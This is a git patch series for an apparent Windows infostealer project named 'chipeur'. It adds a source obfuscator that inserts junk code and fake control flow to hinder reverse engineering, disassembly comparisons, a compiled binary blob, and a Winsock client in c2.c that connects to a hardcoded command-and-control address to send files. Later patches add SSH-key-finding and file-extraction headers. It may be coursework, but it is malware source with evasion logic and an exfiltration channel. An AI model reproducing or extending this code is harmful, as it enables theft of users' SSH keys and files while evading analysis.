From 668e359a3644bfb5dc7561ea2962c7379c62128e Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Tue, 14 Jan 2025 20:22:01 +0100 Subject: [PATCH 01/49] Junk Code insert init --- junk_code_inserter | Bin 0 -> 16552 bytes makefile | 42 ++++++------- obj/.gitkeep | 1 - src/junk_code_inserter.c | 127 +++++++++++++++++++++++++++++++++++++++ 4 files changed, 144 insertions(+), 26 deletions(-) create mode 100644 junk_code_inserter delete mode 100644 obj/.gitkeep create mode 100644 src/junk_code_inserter.c diff --git a/junk_code_inserter b/junk_code_inserter new file mode 100644 index 0000000000000000000000000000000000000000..7818d900d4665986ef9a23180190ba2af8b0caf2 GIT binary patch literal 16552 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 +#include +#include +#include + +#define MAX_LINE_LENGTH 1024 +#define JUNK_CODE_PROBABILITY 80 // Probabilité (%) d'insérer du Junk Code + +// Fonction pour générer des instructions de Junk Code +void generate_junk_code(FILE *output) { + int rand_value = rand() % 7; + + switch (rand_value) { + case 0: // Variable inutile + fprintf(output, " volatile int junk_var_%d = %d;\n", rand() % 1000, rand() % 1000); + break; + + case 1: // Calcul inutile + fprintf(output, " volatile int calc = (%d * %d) / (%d + 1);\n", rand() % 100, rand() % 50, rand() % 10 + 1); + break; + + case 2: // Boucle inutile + fprintf(output, " for (int i = 0; i < %d; i++) {\n", rand() % 10 + 1); + fprintf(output, " volatile int temp = i * i + %d;\n", rand() % 50); + fprintf(output, " }\n"); + break; + + case 3: // Condition inutile avec logique plus complexe + fprintf(output, " if (rand() %% 4 == 0) {\n"); + fprintf(output, " volatile int temp = %d;\n", rand() % 100); + fprintf(output, " } else if (rand() %% 3 == 0) {\n"); + fprintf(output, " volatile int temp = %d;\n", rand() % 200); + fprintf(output, " } else {\n"); + fprintf(output, " volatile int temp = %d;\n", rand() % 300); + fprintf(output, " }\n"); + break; + + case 4: // Tableaux inutiles + fprintf(output, " volatile int junk_array_%d[5] = {", rand() % 1000); + for (int i = 0; i < 5; i++) { + fprintf(output, "%d, ", rand() % 100); + } + fprintf(output, "};\n"); + break; + + case 5: // Structure et initialisation inutile + fprintf(output, " struct JunkStruct_%d {\n", rand() % 1000); + fprintf(output, " int a;\n"); + fprintf(output, " float b;\n"); + fprintf(output, " } junk_struct;\n"); + fprintf(output, " junk_struct.a = %d;\n", rand() % 100); + fprintf(output, " junk_struct.b = %.2f;\n", (rand() % 1000) / 100.0); + break; + + case 6: // Déclaration et manipulation de pointeurs + fprintf(output, " volatile int *junk_ptr = NULL;\n"); + fprintf(output, " int junk_value = %d;\n", rand() % 100); + fprintf(output, " junk_ptr = &junk_value;\n"); + fprintf(output, " volatile int deref = *junk_ptr;\n"); + break; + } +} + + +// Fonction pour insérer du Junk Code dans les fonctions existantes +void insert_junk_code(const char *file_path) { + char temp_file[] = "chipeur_tmp.c"; + FILE *input = fopen(file_path, "r"); + FILE *output = fopen(temp_file, "w"); + + if (!input || !output) { + perror("Erreur lors de l'ouverture des fichiers"); + exit(EXIT_FAILURE); + } + + char line[MAX_LINE_LENGTH]; + int inside_function = 0; + + srand(time(NULL)); + + while (fgets(line, sizeof(line), input)) { + // Copier la ligne originale + fprintf(output, "%s", line); + + // Détecter si on entre ou sort d'une fonction + if (strstr(line, "{")) { + inside_function = 1; + } + if (strstr(line, "}")) { + inside_function = 0; + } + + // Insérer du Junk Code dans les fonctions existantes + if (inside_function && strstr(line, ";") && rand() % 100 < JUNK_CODE_PROBABILITY) { + generate_junk_code(output); + } + + // Ajouter des fonctions inutiles entre deux définitions de fonctions + if (!inside_function && strstr(line, "}") && rand() % 100 < JUNK_CODE_PROBABILITY) { + fprintf(output, "void junk_function_%d() {\n", rand() % 1000); + fprintf(output, " volatile int temp = rand();\n"); + fprintf(output, " temp += %d;\n", rand() % 100); + fprintf(output, " temp *= %d;\n", rand() % 50); + fprintf(output, "}\n\n"); + } + } + + fclose(input); + fclose(output); + + // Remplacer le fichier original par le fichier temporaire + if (rename(temp_file, file_path) != 0) { + perror("Erreur lors de la mise à jour du fichier source"); + exit(EXIT_FAILURE); + } + printf("Junk Code ajouté dans : %s\n", file_path); +} + +int main(int argc, char *argv[]) { + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + return EXIT_FAILURE; + } + + insert_junk_code(argv[1]); + return EXIT_SUCCESS; +} From ceb4938077eec47ef2b574e947cc0b3380738b32 Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Fri, 17 Jan 2025 15:18:20 +0100 Subject: [PATCH 02/49] Added obfuscation logic for junk code and control flow --- chipeur_disassembled.txt | 8 ++ chipeur_obf_disassembled.txt | 13 +++ include/junk_code_inserter.h | 38 +++++++++ junk_code_inserter | Bin 16552 -> 0 bytes makefile | 55 +++++++++---- src/junk_code_inserter.c | 151 ++++++++++++++++++++++++++--------- 6 files changed, 210 insertions(+), 55 deletions(-) create mode 100644 chipeur_disassembled.txt create mode 100644 chipeur_obf_disassembled.txt create mode 100644 include/junk_code_inserter.h delete mode 100644 junk_code_inserter diff --git a/chipeur_disassembled.txt b/chipeur_disassembled.txt new file mode 100644 index 0000000..19dacb0 --- /dev/null +++ b/chipeur_disassembled.txt @@ -0,0 +1,8 @@ + 1026: ff 25 9c 2f 00 00 jmp *0x2f9c(%rip) # 3fc8 <_GLOBAL_OFFSET_TABLE_+0x10> + 1030: ff 25 9a 2f 00 00 jmp *0x2f9a(%rip) # 3fd0 + 103b: e9 e0 ff ff ff jmp 1020 <_init+0x20> + 1040: ff 25 b2 2f 00 00 jmp *0x2fb2(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5> + 10bf: ff e0 jmp *%rax + 1100: ff e0 jmp *%rax + 1154: e9 77 ff ff ff jmp 10d0 + 116b: e9 c0 fe ff ff jmp 1030 diff --git a/chipeur_obf_disassembled.txt b/chipeur_obf_disassembled.txt new file mode 100644 index 0000000..0a40964 --- /dev/null +++ b/chipeur_obf_disassembled.txt @@ -0,0 +1,13 @@ + 1026: ff 25 94 2f 00 00 jmp *0x2f94(%rip) # 3fc0 <_GLOBAL_OFFSET_TABLE_+0x10> + 1030: ff 25 92 2f 00 00 jmp *0x2f92(%rip) # 3fc8 + 103b: e9 e0 ff ff ff jmp 1020 <_init+0x20> + 1040: ff 25 8a 2f 00 00 jmp *0x2f8a(%rip) # 3fd0 + 104b: e9 d0 ff ff ff jmp 1020 <_init+0x20> + 1050: ff 25 a2 2f 00 00 jmp *0x2fa2(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5> + 10dc: eb ef jmp 10cd + 112f: ff e0 jmp *%rax + 1170: ff e0 jmp *%rax + 11c4: e9 77 ff ff ff jmp 1140 + 11db: e9 50 fe ff ff jmp 1030 +00000000000011e0 : +0000000000001210 : diff --git a/include/junk_code_inserter.h b/include/junk_code_inserter.h new file mode 100644 index 0000000..c85d714 --- /dev/null +++ b/include/junk_code_inserter.h @@ -0,0 +1,38 @@ +#ifndef JUNK_CODE_INSERTER_H +#define JUNK_CODE_INSERTER_H + +#include +#include +#include +#include +#include + + +// Constants for junk code and control flow obfuscation probabilities +#define MAX_LINE_LENGTH 1024 +#define JUNK_CODE_PROBABILITY 50 // Probability of inserting junk code +#define CONTROL_FLOW_PROBABILITY 100 // Probability of inserting control flow obfuscation +#define MAX_OBFUSCATIONS_PER_FUNCTION 5 // Maximum obfuscations per function + +/** + * @brief Generates random junk code to obfuscate the source code. + * + * @param output The file pointer where the junk code will be written. + */ +void generate_junk_code(FILE *output); + +/** + * @brief Generates random control flow obfuscation to make reverse engineering harder. + * + * @param output The file pointer where the control flow obfuscation will be written. + */ +void generate_control_flow(FILE *output); + +/** + * @brief Applies junk code and control flow obfuscation to a given source file. + * + * @param file_path The path to the source file to be obfuscated. + */ +void insert_obfuscation(const char *file_path); + +#endif // JUNK_CODE_INSERTER_H diff --git a/junk_code_inserter b/junk_code_inserter deleted file mode 100644 index 7818d900d4665986ef9a23180190ba2af8b0caf2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16552 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 -#include -#include -#include +#include "junk_code_inserter.h" -#define MAX_LINE_LENGTH 1024 -#define JUNK_CODE_PROBABILITY 80 // Probabilité (%) d'insérer du Junk Code -// Fonction pour générer des instructions de Junk Code + + +// Function to generate junk code snippets void generate_junk_code(FILE *output) { - int rand_value = rand() % 7; + int rand_value = rand() % 8; // Increased to 8 for more diversity switch (rand_value) { - case 0: // Variable inutile + case 0: // Unused variable + fprintf(output, " // Variable used for critical error management\n"); fprintf(output, " volatile int junk_var_%d = %d;\n", rand() % 1000, rand() % 1000); + break; - case 1: // Calcul inutile + case 1: // Unnecessary computation fprintf(output, " volatile int calc = (%d * %d) / (%d + 1);\n", rand() % 100, rand() % 50, rand() % 10 + 1); + fprintf(output, " // Intermediate calculation for performance optimization\n"); break; - case 2: // Boucle inutile + case 2: // Useless loop + fprintf(output, " // Iterating through a series of critical operations\n"); fprintf(output, " for (int i = 0; i < %d; i++) {\n", rand() % 10 + 1); fprintf(output, " volatile int temp = i * i + %d;\n", rand() % 50); fprintf(output, " }\n"); break; - case 3: // Condition inutile avec logique plus complexe + case 3: // Unnecessary condition + fprintf(output, " // Critical condition to adjust dynamic parameters\n"); fprintf(output, " if (rand() %% 4 == 0) {\n"); fprintf(output, " volatile int temp = %d;\n", rand() % 100); - fprintf(output, " } else if (rand() %% 3 == 0) {\n"); - fprintf(output, " volatile int temp = %d;\n", rand() % 200); fprintf(output, " } else {\n"); - fprintf(output, " volatile int temp = %d;\n", rand() % 300); + fprintf(output, " volatile int temp = %d;\n", rand() % 200); fprintf(output, " }\n"); break; - case 4: // Tableaux inutiles + case 4: // Useless array fprintf(output, " volatile int junk_array_%d[5] = {", rand() % 1000); for (int i = 0; i < 5; i++) { fprintf(output, "%d, ", rand() % 100); } fprintf(output, "};\n"); + fprintf(output, " // Static configuration data\n"); break; - case 5: // Structure et initialisation inutile - fprintf(output, " struct JunkStruct_%d {\n", rand() % 1000); - fprintf(output, " int a;\n"); - fprintf(output, " float b;\n"); - fprintf(output, " } junk_struct;\n"); - fprintf(output, " junk_struct.a = %d;\n", rand() % 100); - fprintf(output, " junk_struct.b = %.2f;\n", (rand() % 1000) / 100.0); - break; - - case 6: // Déclaration et manipulation de pointeurs + case 5: // Unnecessary pointers + fprintf(output, " // Critical pointer manipulation for memory access security\n"); fprintf(output, " volatile int *junk_ptr = NULL;\n"); fprintf(output, " int junk_value = %d;\n", rand() % 100); fprintf(output, " junk_ptr = &junk_value;\n"); fprintf(output, " volatile int deref = *junk_ptr;\n"); break; + + case 6: // Useless structure + fprintf(output, " // Structure used for critical data serialization\n"); + fprintf(output, " struct JunkStruct {\n"); + fprintf(output, " int field_a;\n"); + fprintf(output, " float field_b;\n"); + fprintf(output, " } junk_struct;\n"); + fprintf(output, " junk_struct.field_a = %d;\n", rand() % 100); + fprintf(output, " junk_struct.field_b = %.2f;\n", (rand() % 1000) / 100.0); + break; + + case 7: // Call to an unused function + fprintf(output, " // Call to a critical function for validation\n"); + fprintf(output, " junk_function_%d();\n", rand() % 1000); + break; } } +// Function to generate control flow obfuscations +void generate_control_flow(FILE *output) { + int rand_value = rand() % 5; // Increased to 5 for more diversity + + switch (rand_value) { + case 0: // Fake switch + fprintf(output, " // Managing critical cases in branch distribution\n"); + fprintf(output, " switch (rand() %% 3) {\n"); + fprintf(output, " case 0: break;\n"); + fprintf(output, " case 1: break;\n"); + fprintf(output, " case 2: break;\n"); + fprintf(output, " }\n"); + break; + + case 1: // Simple condition + fprintf(output, " // Validating dynamic states\n"); + fprintf(output, " if (rand() %% 2 == 0) {\n"); + fprintf(output, " volatile int temp = 42;\n"); + fprintf(output, " } else {\n"); + fprintf(output, " volatile int temp = 84;\n"); + fprintf(output, " }\n"); + break; + + case 2: // Fake path + fprintf(output, " // Critical path for random values\n"); + fprintf(output, " if (rand() %% 3 == 0) {\n"); + fprintf(output, " volatile int temp = rand();\n"); + fprintf(output, " }\n"); + break; + + case 3: // Nested condition + fprintf(output, " // Double validation for enhanced security\n"); + fprintf(output, " if (rand() %% 2 == 0) {\n"); + fprintf(output, " if (rand() %% 2 == 0) {\n"); + fprintf(output, " volatile int temp = 42;\n"); + fprintf(output, " }\n"); + fprintf(output, " }\n"); + break; -// Fonction pour insérer du Junk Code dans les fonctions existantes -void insert_junk_code(const char *file_path) { + case 4: // Fake label with goto + { + int label_id = rand() % 1000; // Generate a single label ID + fprintf(output, " // Managing critical jumps\n"); + fprintf(output, " goto label_%d;\n", label_id); + fprintf(output, "label_%d:\n", label_id); + break; + } + } +} + +// Function to insert junk code and control flow obfuscations into the target file +void insert_obfuscation(const char *file_path) { char temp_file[] = "chipeur_tmp.c"; FILE *input = fopen(file_path, "r"); FILE *output = fopen(temp_file, "w"); if (!input || !output) { - perror("Erreur lors de l'ouverture des fichiers"); + perror("Error opening files"); exit(EXIT_FAILURE); } char line[MAX_LINE_LENGTH]; int inside_function = 0; + int obfuscations_in_function = 0; + int has_returned = 0; // Indicates if a `return` statement has been encountered srand(time(NULL)); while (fgets(line, sizeof(line), input)) { - // Copier la ligne originale + // Copy the original line fprintf(output, "%s", line); - // Détecter si on entre ou sort d'une fonction + // Detect if entering or exiting a function if (strstr(line, "{")) { inside_function = 1; + obfuscations_in_function = 0; // Reset for each function + has_returned = 0; // Reset for each function } if (strstr(line, "}")) { inside_function = 0; } - // Insérer du Junk Code dans les fonctions existantes - if (inside_function && strstr(line, ";") && rand() % 100 < JUNK_CODE_PROBABILITY) { - generate_junk_code(output); + // Check if a `return` statement is present + if (inside_function && strstr(line, "return")) { + has_returned = 1; + } + + // Add obfuscations within existing functions + if (inside_function && !has_returned && strstr(line, ";") && obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + if (rand() % 100 < JUNK_CODE_PROBABILITY) { + generate_junk_code(output); + obfuscations_in_function++; + } + if (rand() % 100 < CONTROL_FLOW_PROBABILITY) { + generate_control_flow(output); + obfuscations_in_function++; + } } - // Ajouter des fonctions inutiles entre deux définitions de fonctions + // Add unused functions between function definitions if (!inside_function && strstr(line, "}") && rand() % 100 < JUNK_CODE_PROBABILITY) { fprintf(output, "void junk_function_%d() {\n", rand() % 1000); fprintf(output, " volatile int temp = rand();\n"); @@ -108,12 +181,12 @@ void insert_junk_code(const char *file_path) { fclose(input); fclose(output); - // Remplacer le fichier original par le fichier temporaire + // Replace the original file with the obfuscated one if (rename(temp_file, file_path) != 0) { - perror("Erreur lors de la mise à jour du fichier source"); + perror("Error replacing source file"); exit(EXIT_FAILURE); } - printf("Junk Code ajouté dans : %s\n", file_path); + printf("Obfuscation added to: %s\n", file_path); } int main(int argc, char *argv[]) { @@ -122,6 +195,6 @@ int main(int argc, char *argv[]) { return EXIT_FAILURE; } - insert_junk_code(argv[1]); + insert_obfuscation(argv[1]); return EXIT_SUCCESS; } From c9cd9d678438e216283d8a87a895c05569695387 Mon Sep 17 00:00:00 2001 From: gznop Date: Sun, 19 Jan 2025 15:09:42 +0100 Subject: [PATCH 03/49] test: trying to connect with socket --- include/c2.h | 6 +++++ src/c2.c | 64 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 70 insertions(+) create mode 100644 include/c2.h create mode 100644 src/c2.c diff --git a/include/c2.h b/include/c2.h new file mode 100644 index 0000000..531cb6e --- /dev/null +++ b/include/c2.h @@ -0,0 +1,6 @@ +#include + +#define C2_IP "192.168.1.15" +#define C2_PORT 1234 + +void send_file(WCHAR *); \ No newline at end of file diff --git a/src/c2.c b/src/c2.c new file mode 100644 index 0000000..6b901d4 --- /dev/null +++ b/src/c2.c @@ -0,0 +1,64 @@ +#include +#include +#include +#include + +#include "c2.h" + +static void connect_to_c2(SOCKET *sock, SOCKADDR_IN *client){ + int err; + // loading winsocket.dll + WSADATA wsaData = {0}; + err = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (err != 0){ + printf("DEBUG: connect_to_c2: Error while loading winsocker.dll: Error %d\n", err); + exit(-1); + } + + *sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (*sock == INVALID_SOCKET) { + err = WSAGetLastError(); + printf("DEBUG: connect_to_c2: Error while creating the socket: Error %d\n", err); + exit(-1); + } + return; + + // connecting to the c2 server + err = connect(*sock, (SOCKADDR *)client, sizeof(*client)); + if (err == SOCKET_ERROR){ + printf("DEBUG: connect_to_c2: Error while creating the client: Error %d\n", WSAGetLastError()); + exit(-1); + } + printf("INFO: connect_to_c2: Successfully connected to the c2 server"); +} + +static void close_c2_conn(SOCKET *sock){ + // closing the server + int err = closesocket(*sock); + if (err == SOCKET_ERROR){ + printf("DEBUG: close_c2_conn: Error while closing the connection: Error %d\n", WSAGetLastError()); + exit(-1); + } + return; +} + +void send_file(WCHAR * filename){ + SOCKET sock; + // Creating the client + SOCKADDR_IN client; + client.sin_family = AF_INET; + client.sin_addr.S_un.S_addr = inet_addr(C2_IP); + client.sin_port = htons(C2_PORT); + + // initating the connection to the c2 server + connect_to_c2(&sock, &client); + + int err = send(sock, "feur", 4, 0); + if (err == SOCKET_ERROR){ + printf("DEBUG: send_file: Error while sending data to server: Error %d\n", WSAGetLastError()); + exit(-1); + } + + close_c2_conn(&sock); + return; +} \ No newline at end of file From b61a1786ebe9c9f06597c27ba92a0641ffbc38fe Mon Sep 17 00:00:00 2001 From: gznop Date: Tue, 28 Jan 2025 23:02:22 +0100 Subject: [PATCH 04/49] tmp: apero --- include/c2.h | 9 +- include/chipeur.h | 5 +- include/extract_file.h | 6 +- include/find_ssh_key.h | 9 +- include/obfuscation.h | 3 + makefile | 11 +- .../C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 0 